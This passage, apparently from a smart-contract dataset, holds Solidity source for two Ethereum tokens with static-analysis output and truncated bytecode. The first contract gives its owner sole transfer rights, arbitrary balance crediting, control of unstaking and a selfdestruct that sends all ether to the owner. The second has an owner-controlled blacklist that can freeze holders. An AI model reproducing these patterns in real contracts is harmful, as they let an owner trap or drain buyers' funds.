uint256 public basePrice16 = 3670000000000000000;
uint256 public initialPriceIncrement = 0;
uint256 public currentPrice;
uint256 public totalSupply_;
uint256 public tokenSold = 200000;
address payable owner;
address stakeHolder;
mapping(address => uint256) public tokenLedger;
mapping(address => mapping(address => uint256)) public allowed;
modifier onlyOwner {
require(msg.sender == owner, "Caller is not the owner");
_;
}
constructor(string memory _tokenName, string memory _tokenSymbol, uint256 initialSupply) public {
owner = msg.sender;
stakeHolder = owner;
token_name = _tokenName;
token_symbol = _tokenSymbol;
decimal = 0;
currentPrice = token_price + initialPriceIncrement;
totalSupply_ = initialSupply;
totalSupply_ = totalSupply_.sub(tokenSold);
tokenLedger[owner] = tokenSold;
}
function contractAddress() public view returns(address) {
return address(this);
}
function updateCurrentPrice(uint256 _newPrice) external onlyOwner returns (bool) {
currentPrice = _newPrice;
return true;
}
function etherToToken(uint256 incomingEtherWei) public view returns(uint256) {
uint256 tokenToTransfer = incomingEtherWei.div(currentPrice);
return tokenToTransfer;
}
function tokenToEther(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function taxedTokenTransfer(uint256 incomingEther) internal view returns(uint256) {
uint256 deduction = incomingEther * 20000/100000;
uint256 taxedEther = incomingEther - deduction;
uint256 tokenToTransfer = taxedEther.div(currentPrice);
return tokenToTransfer;
}
function balanceOf(address _customerAddress) external
view
returns(uint256)
{
return tokenLedger[_customerAddress];
}
function getCurrentPrice() public view returns(uint) {
return currentPrice;
}
function stake_funds() public view returns(uint256) {
return tokenLedger[stakeHolder];
}
function buy_token(address _referredBy ) external payable returns (bool) {
require(_referredBy != msg.sender, "Self reference not allowed");
address buyer = msg.sender;
uint256 etherValue = msg.value;
uint256 taxedTokenAmount = taxedTokenTransfer(etherValue);
uint256 tokenToTransfer = etherValue.div(currentPrice);
require(tokenToTransfer >= 5, "Minimum DET purchase limit is 5");
require(buyer != address(0), "Can't send to Zero address");
uint256 referralTokenBal = tokenLedger[_referredBy];
emit Transfer(address(this), buyer, taxedTokenAmount);
tokenLedger[buyer] = tokenLedger[buyer].add(taxedTokenAmount);
tokenSold = tokenSold.add(tokenToTransfer);
priceAlgoBuy(tokenToTransfer);
emit Buy(buyer,taxedTokenAmount, tokenToTransfer, referralTokenBal);
return true;
}
function sell(uint256 tokenToSell) external returns(bool){
require(tokenSold >= tokenToSell, "Token sold should be greater than zero");
require(tokenToSell >= 5, "Minimum token sell amount is 5 DET");
require(msg.sender != address(0), "address zero");
require(tokenToSell <= tokenLedger[msg.sender], "insufficient balance");
uint256 convertedWei = etherValueTransfer(tokenToSell);
tokenLedger[msg.sender] = tokenLedger[msg.sender].sub(tokenToSell);
tokenSold = tokenSold.sub(tokenToSell);
priceAlgoSell(tokenToSell);
msg.sender.transfer(convertedWei);
emit Transfer(msg.sender, address(this), tokenToSell);
emit Sells(msg.sender,convertedWei, tokenToSell);
return true;
}
function etherValueTransfer(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function totalEthereumBalance() external onlyOwner view returns (uint256) {
return address(this).balance;
}
function mintToken(uint256 _mintedAmount) onlyOwner public {
totalSupply_ = totalSupply_.add(_mintedAmount);
}
function destruct() onlyOwner() public{
selfdestruct(owner);
}
function withdrawReward(uint256 numberOfTokens, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens);
}
function holdStake(uint256 _amount, uint256 _timing)
public
{
address _customerAddress = msg.sender;
require(_amount <= tokenLedger[_customerAddress], "insufficient balance");
require(_amount >= 20, "Minimum stake is 20 DET");
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amount);
tokenLedger[stakeHolder] = tokenLedger[stakeHolder].add(_amount);
emit stake(_customerAddress, _amount, _timing);
}
function unstake(uint256 _amount, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(_amount);
tokenLedger[stakeHolder] = tokenLedger[stakeHolder].sub(_amount);
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyOwner
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenLedger[_customerAddress]);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens);
tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function transferFrom(address _from, address _to, uint256 tokens) public returns(bool success) {
require(tokens <= tokenLedger[_from]);
require(tokens > 0);
require(tokens <= allowed[_from][msg.sender]);
tokenLedger[_from] = tokenLedger[_from].sub(tokens);
tokenLedger[_to] = tokenLedger[_to].add(tokens);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(tokens);
emit Transfer(_from, _to, tokens);
return true;
}
function priceAlgoBuy( uint256 tokenQty) internal{
if( tokenSold >= 0 && tokenSold <= 200000 ){
currentPrice = basePrice0;
basePrice0 = currentPrice;
}
if( tokenSold >= 200000 && tokenSold <= 250000 ){
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if( tokenSold > 250000 && tokenSold <= 300000 ){
initialPriceIncrement = tokenQty*300000000;
currentPrice = basePrice2 + initialPriceIncrement;
basePrice2 = currentPrice;
}
if(tokenSold > 300000 && tokenSold <= 350000){
initialPriceIncrement = tokenQty*450000000;
currentPrice = basePrice3 + initialPriceIncrement;
basePrice3 = currentPrice;
}
if(tokenSold > 350000 && tokenSold <= 400000){
initialPriceIncrement = tokenQty*770000000;
currentPrice = basePrice4 + initialPriceIncrement;
basePrice4 = currentPrice;
}
if( tokenSold > 400000 && tokenSold <= 450000 ){
initialPriceIncrement = tokenQty*870000000;
currentPrice = basePrice5 + initialPriceIncrement;
basePrice5 = currentPrice;
}
if( tokenSold > 450000 && tokenSold <= 500000 ){
initialPriceIncrement = tokenQty*5725000000;
currentPrice = basePrice6 + initialPriceIncrement;
basePrice6 = currentPrice;
}
if( tokenSold > 500000 && tokenSold <= 550000 ){
initialPriceIncrement = tokenQty*9725000000;
currentPrice = basePrice7 + initialPriceIncrement;
basePrice7 = currentPrice;
}
if(tokenSold > 550000 && tokenSold <= 600000){
initialPriceIncrement = tokenQty*13900000000;
currentPrice = basePrice8 + initialPriceIncrement;
basePrice8 = currentPrice;
}
if( tokenSold > 600000 && tokenSold <= 650000 ){
initialPriceIncrement = tokenQty*34200000000;
currentPrice = basePrice9 + initialPriceIncrement;
basePrice9 = currentPrice;
}
if( tokenSold > 650000 && tokenSold <= 700000 ){
initialPriceIncrement = tokenQty*103325000000;
currentPrice = basePrice10 + initialPriceIncrement;
basePrice10 = currentPrice;
}
if(tokenSold > 700000 && tokenSold <= 750000){
initialPriceIncrement = tokenQty*394050000000;
currentPrice = basePrice11 + initialPriceIncrement;
basePrice11 = currentPrice;
}
if(tokenSold > 750000 && tokenSold <= 800000){
initialPriceIncrement = tokenQty*694050000000;//
currentPrice = basePrice12 + initialPriceIncrement;
basePrice12 = currentPrice;
}
if(tokenSold > 800000 && tokenSold <= 850000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice13 + initialPriceIncrement;
basePrice13 = currentPrice;
}
if(tokenSold > 850000 && tokenSold <= 900000){
initialPriceIncrement = tokenQty*8400000000000;
currentPrice = basePrice14 + initialPriceIncrement;
basePrice14 = currentPrice;
}
if(tokenSold > 900000 && tokenSold <= 950000){
initialPriceIncrement = tokenQty*8400000000000;
currentPrice = basePrice15 + initialPriceIncrement;
basePrice15 = currentPrice;
}
if(tokenSold > 950000 ){
initialPriceIncrement = tokenQty*18400000000000;
currentPrice = basePrice16 + initialPriceIncrement;
basePrice16 = currentPrice;
}
}
function priceAlgoSell( uint256 tokenQty) internal{
if( tokenSold >= 0 && tokenSold <= 200000 ){
currentPrice = basePrice0;
basePrice0 = currentPrice;
}
if( tokenSold >= 200000 && tokenSold <= 250000 ){
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if( tokenSold > 250000 && tokenSold <= 300000 ){
initialPriceIncrement = tokenQty*300000000;
currentPrice = basePrice2 - initialPriceIncrement;
basePrice2 = currentPrice;
}
if(tokenSold > 300000 && tokenSold <= 350000){
initialPriceIncrement = tokenQty*450000000;
currentPrice = basePrice3 - initialPriceIncrement;
basePrice3 = currentPrice;
}
if(tokenSold > 350000 && tokenSold <= 400000){
initialPriceIncrement = tokenQty*770000000;
currentPrice = basePrice4 - initialPriceIncrement;
basePrice4 = currentPrice;
}
if( tokenSold > 400000 && tokenSold <= 450000 ){
initialPriceIncrement = tokenQty*870000000;
currentPrice = basePrice5 - initialPriceIncrement;
basePrice5 = currentPrice;
}
if( tokenSold > 450000 && tokenSold <= 500000 ){
initialPriceIncrement = tokenQty*5725000000;
currentPrice = basePrice6 - initialPriceIncrement;
basePrice6 = currentPrice;
}
if( tokenSold > 500000 && tokenSold <= 550000 ){
initialPriceIncrement = tokenQty*9725000000;
currentPrice = basePrice7 - initialPriceIncrement;
basePrice7 = currentPrice;
}
if(tokenSold > 550000 && tokenSold <= 600000){
initialPriceIncrement = tokenQty*13900000000;
currentPrice = basePrice8 - initialPriceIncrement;
basePrice8 = currentPrice;
}
if( tokenSold > 600000 && tokenSold <= 650000 ){
initialPriceIncrement = tokenQty*34200000000;
currentPrice = basePrice9 - initialPriceIncrement;
basePrice9 = currentPrice;
}
if( tokenSold > 650000 && tokenSold <= 700000 ){
initialPriceIncrement = tokenQty*103325000000;
currentPrice = basePrice10 - initialPriceIncrement;
basePrice10 = currentPrice;
}
if(tokenSold > 700000 && tokenSold <= 750000){
initialPriceIncrement = tokenQty*394050000000;
currentPrice = basePrice11 - initialPriceIncrement;
basePrice11 = currentPrice;
}
if(tokenSold > 750000 && tokenSold <= 800000){
initialPriceIncrement = tokenQty*694050000000;
currentPrice = basePrice12 - initialPriceIncrement;
basePrice12 = currentPrice;
}
if(tokenSold > 800000 && tokenSold <= 850000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice13 - initialPriceIncrement;
basePrice13 = currentPrice;
}
if(tokenSold > 850000 && tokenSold <= 900000){
initialPriceIncrement = tokenQty*8400000000000;
currentPrice = basePrice14 - initialPriceIncrement;
basePrice14 = currentPrice;
}
if(tokenSold > 900000 && tokenSold <= 950000){
initialPriceIncrement = tokenQty*8400000000000;
currentPrice = basePrice15 - initialPriceIncrement;
basePrice15 = currentPrice;
}
if(tokenSold > 950000 ){
initialPriceIncrement = tokenQty*18400000000000;
currentPrice = basePrice16 - initialPriceIncrement;
basePrice16 = currentPrice;
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,196 |
0x3ba144eb75a50c383df442606c09c1395505aed1 | /**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
/**
What is right, and what is wrong…
Supply:888,888,888,888,888
Max buy:8,888,888,888,888
Wallet size:25,000,000,000,000
Tax:8% buy/sell
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AOBATAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 888888888888888 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Aobatama";
string private constant _symbol = "AOBA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xcD0491Da2a49b47aC4Fdb7607Fe393991b3736A8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 4;
_feeAddr2 = 4;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 8888888888888 * 10**9;
_maxWalletSize = 25000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e57565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061297a565b6104b4565b60405161018e9190612e3c565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612ff9565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129b6565b6104e4565b005b3480156101f757600080fd5b50610212600480360381019061020d919061292b565b610634565b60405161021f9190612e3c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a919061289d565b61070d565b005b34801561025d57600080fd5b506102666107fd565b604051610273919061306e565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129f7565b610806565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a49565b6108b8565b005b3480156102da57600080fd5b506102e3610993565b005b3480156102f157600080fd5b5061030c6004803603810190610307919061289d565b610a05565b6040516103199190612ff9565b60405180910390f35b34801561032e57600080fd5b50610337610a56565b005b34801561034557600080fd5b5061034e610ba9565b005b34801561035c57600080fd5b50610365610c62565b6040516103729190612d6e565b60405180910390f35b34801561038757600080fd5b50610390610c8b565b60405161039d9190612e57565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061297a565b610cc8565b6040516103da9190612e3c565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a49565b610ce6565b005b34801561041857600080fd5b50610421610dc1565b005b34801561042f57600080fd5b50610438610e3b565b005b34801561044657600080fd5b50610461600480360381019061045c91906128ef565b6113ab565b60405161046e9190612ff9565b60405180910390f35b60606040518060400160405280600881526020017f416f626174616d61000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611432565b848461143a565b6001905092915050565b600069bc3ac3627d44cbe83000905090565b6104ec611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090612f39565b60405180910390fd5b60005b8151811015610630576001600660008484815181106105c4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106289061330f565b91505061057c565b5050565b6000610641848484611605565b6107028461064d611432565b6106fd8560405180606001604052806028815260200161373260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b3611432565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c989092919063ffffffff16565b61143a565b600190509392505050565b610715611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990612f39565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080e611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612f39565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108c0611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094490612f39565b60405180910390fd5b6000811161095a57600080fd5b61098a606461097c8369bc3ac3627d44cbe83000611cfc90919063ffffffff16565b611d7790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611432565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b6000479050610a0281611dc1565b50565b6000610a4f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2d565b9050919050565b610a5e611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612f39565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bb1611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3590612f39565b60405180910390fd5b69bc3ac3627d44cbe83000600f8190555069bc3ac3627d44cbe83000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f414f424100000000000000000000000000000000000000000000000000000000815250905090565b6000610cdc610cd5611432565b8484611605565b6001905092915050565b610cee611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290612f39565b60405180910390fd5b60008111610d8857600080fd5b610db86064610daa8369bc3ac3627d44cbe83000611cfc90919063ffffffff16565b611d7790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e02611432565b73ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6000610e2d30610a05565b9050610e3881611e9b565b50565b610e43611432565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec790612f39565b60405180910390fd5b600e60149054906101000a900460ff1615610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612fd9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fb130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff